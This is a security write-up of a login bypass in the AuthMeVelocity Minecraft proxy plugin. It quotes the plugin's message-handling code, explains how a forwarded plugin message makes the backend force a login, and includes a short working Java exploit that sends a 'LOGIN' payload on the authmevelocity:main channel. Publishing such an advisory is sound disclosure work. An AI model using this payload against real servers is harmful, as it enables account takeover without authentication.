Skip to content

Latest commit

 

History

History
144 lines (130 loc) · 5.68 KB

AuthMeVelocity.md

File metadata and controls

144 lines (130 loc) · 5.68 KB

AuthMe Bypass

ShowCase

YoutubeVideo

Overview

AuthMeVelocity is a plugin developed by 4drian3d to auto login players across servers in a velocity network. They used channels.

Analysis

In the source code of the velocity side, you can see the following code

@Override
public EventTask executeAsync(final PluginMessageEvent event) {
    return EventTask.async(() -> {
        plugin.logDebug(() -> "PluginMessageEvent | Start");
        if (notAllowedEvent(event)) {
            plugin.logDebug(() -> "PluginMessageEvent | Not allowed");
            return;
        }

        final ServerConnection connection = (ServerConnection) event.getSource();

        event.setResult(PluginMessageEvent.ForwardResult.handled());

        final ByteArrayDataInput input = event.dataAsDataStream();
        final String message = input.readUTF();
        final MessageType type = TYPES.valueOrThrow(message.toUpperCase(Locale.ROOT));
        final String name = input.readUTF();
        final Player player = proxy.getPlayer(name).orElse(null);

        switch (type) {
            case LOGIN -> {
                plugin.logDebug("PluginMessageEvent | Login type");
                if (player != null && plugin.addPlayer(player)) {
                    eventManager.fireAndForget(new ProxyLoginEvent(player));
                    if (plugin.config().get().sendOnLogin().sendToServerOnLogin()) {
                        this.createServerConnectionRequest(player, connection);
                    }
                    plugin.logDebug("PluginMessageEvent | Player not null");
                }
            }
            case LOGOUT -> {
                plugin.logDebug("PluginMessageEvent | Logout type");
                if (player != null && plugin.removePlayer(player)){
                    eventManager.fireAndForget(new ProxyLogoutEvent(player));
                    plugin.logDebug(() -> "PluginMessageEvent | Player " + name + " not null");
                }
            }
            case REGISTER -> {
                plugin.logDebug("PluginMessageEvent | Register");
                if (player != null) {
                    eventManager.fireAndForget(new ProxyRegisterEvent(player));
                    plugin.logDebug(() -> "PluginMessageEvent | Player " + name + " not null");
                }
            }
            case UNREGISTER -> {
                plugin.logDebug("PluginMessageEvent | Unregister type");
                if (player != null) {
                    plugin.logDebug(() -> "PluginMessageEvent | Player " + name + " not null");
                    eventManager.fireAndForget(new ProxyUnregisterEvent(player));
                }
            }
            case FORCE_UNREGISTER -> {
                eventManager.fireAndForget(new ProxyForcedUnregisterEvent(player));
                plugin.logDebug(() -> "PluginMessageEvent | Forced Unregister type, player " + name);
            }

        }
    });
}

private boolean notAllowedEvent(PluginMessageEvent event) {
    if (!event.getResult().isAllowed()) {
        plugin.logDebug("PluginMessageEvent | Result not allowed");
        return true;
    }
    if (!(event.getSource() instanceof ServerConnection)) {
        plugin.logDebug("PluginMessageEvent | Not ServerConnection");
        return true;
    }
    final var identifier = event.getIdentifier();
    if (!(identifier.equals(AuthMeVelocityPlugin.MODERN_CHANNEL)
            || identifier.equals(AuthMeVelocityPlugin.LEGACY_CHANNEL))) {
        plugin.logDebug(() -> "PluginMessageEvent | Not AuthMeVelocity Identifier: " + identifier.getId());
        return true;
    }
    return false;
}

Method notAllowedEvent returns false if the connection is not a player connection. But in executeAsync method, event is never getting set to handled and hence getting forwarded to the backend server having the AuthMeVelocity-Paper plugin to force login the player when the message is received as coded in the following code.

@Override
public void onPluginMessageReceived(
        final @NotNull String identifier,
        final @NotNull Player $,
        final byte @NotNull [] bytes
) {
    if (identifier.equals("authmevelocity:main")) {
        final ByteArrayDataInput input = ByteStreams.newDataInput(bytes);

        final String data = input.readUTF();
        final String username = input.readUTF();
        processData(username, data);
        plugin.logDebug("PluginMessage | AuthMeVelocity identifier processed");
    }
}

private void processData(String name, String data) {
    if (MessageType.LOGIN.toString().equals(data)) {
        final Player player = this.plugin.getServer().getPlayer(name);
        if (player == null) {
            return;
        }
        plugin.logDebug("PluginMessage | Login Message");
        Bukkit.getPluginManager().callEvent(new LoginByProxyEvent(player));
        AuthMeApi.getInstance().forceLogin(player);
    }
}

Exploiting

By sending a plugin message on channel authmevelocity:main and writing the first UTF to your username and the second UTF to "LOGIN". Here is an implementation of this exploit in BungeeCord bridge method

@Override
public void execute(CommandSender sender, String[] args) {
    ByteArrayOutputStream b = new ByteArrayOutputStream();
    DataOutputStream out = new DataOutputStream(b);

    try {
        out.writeUTF("LOGIN");
        out .writeUTF(sender.getName());
        StringBuilder stringBuilder = new StringBuilder();
    } catch (IOException var10) {
        var10.printStackTrace();
    }

    ((ProxiedPlayer)sender).getServer().sendData("authmevelocity:main", b.toByteArray());
    sender.sendMessage("Force login payload sent");
}

Prevention

Just update your proxy plugin to the latest version.